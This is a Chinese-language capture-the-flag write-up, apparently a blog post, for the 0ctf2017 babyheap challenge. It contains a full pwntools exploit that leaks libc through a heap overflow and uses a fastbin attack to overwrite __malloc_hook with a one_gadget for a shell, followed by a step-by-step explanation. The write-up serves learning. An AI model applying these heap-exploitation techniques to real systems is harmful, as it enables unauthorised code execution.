本人double free+fastbin攻击第一道题,看了两天,好在理解下来不难。
参考传送门[分享]0ctf2017 - babyheap-Pwn-看雪论坛-安全社区|安全招聘|bbs.pediy.com
惯例checksec一下
打开ida
1创建chunk,按1,2依次创建,2往里写,3free掉指定数字chunk,4print出指定chunk内容
不建议跟ida里一些函数死磕,硬读会恶心到,理解就ok。
这里先放exp,读一遍exp咱们再来解释
from pwn import *
context(log_level='debug')
libc = ELF('./libc-2.23.so')
p=remote('node4.buuoj.cn',29728)
def alloc(size):
p.recvuntil('Command:')
p.sendline('1')
p.recvuntil('Size:')
p.sendline(str(size))
def fill(index, size, content):
p.recvuntil('Command:')
p.sendline('2')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Size:')
p.sendline(str(size))
p.recvuntil('Content:')
p.send(content)
def free(index):
p.recvuntil('Command:')
p.sendline('3')
p.recvuntil('Index:')
p.sendline(str(index))
def dump(index):
p.recvuntil('Command:')
p.sendline('4')
p.recvuntil('Index:')
p.sendline(str(index))
p.recvuntil('Content: \n')
return p.recvline()[:-1]
def leak():
alloc(0x60)
alloc(0x40)
fill(0, 0x60 + 0x10, b'a' * 0x60 + p64(0) + p64(0x71))
alloc(0x100)
fill(2, 0x20, b'c' * 0x10 + p64(0) + p64(0x71))
free(1)
alloc(0x60)
fill(1, 0x40 + 0x10, b'b' * 0x40 + p64(0) + p64(0x111))
alloc(0x50)
free(2)
leaked = u64(dump(1)[-8:])
return leaked - 0x3c4b78
def fastbin_attack(libc_base):
malloc_hook = libc.symbols['__malloc_hook'] + libc_base
execve_addr = 0x4526a + libc_base
free(1)
payload = b'a' * 0x60 + p64(0) + p64(0x71) + p64(malloc_hook - 27 - 0x8) + p64(0)
fill(0, 0x60 + 0x10 + 0x10, payload)
alloc(0x60)
alloc(0x60)
payload = p8(0) * 3
payload += p64(0) * 2
payload += p64(execve_addr)
fill(2, len(payload), payload)
alloc(0x20)
def main():
libc_base = leak()
log.info("get libc_base:" + hex(libc_base))
fastbin_attack(libc_base)
p.interactive()
main()
先讲一下leak流程
第一步创建0,1两个fastchunk,但1要比0小
第二步堆溢出,溢出0修改1的size位,使其与0一样大
第三步创建一个smallchunk
第四步free1再alloc,1唯一变化就是size变了。
第五步free掉smallchunk,这时smallchunk的fd和bk指向main_arena + offset
第六步dump1,打印出bk。这里的smallchunk free了会放到unsortedbin,但我理解smallchunk未合并状态free到smallchunk,懂行的师傅可以解释一下,万分感谢。
execve("/bin/sh")使用one gadget(了解了一下这个工具,思高咦!)获得。
fastbin_attack中
将chunk1的fd改为malloc_hook附近位置,再free1,malloc两次,获得mallochook附近读写的权力,再将mallochook替换成onegadget获得的地址。
最后随便malloc一下,自动跳转到execve("/bin/sh")
有问题请直接评论,大家一起学习。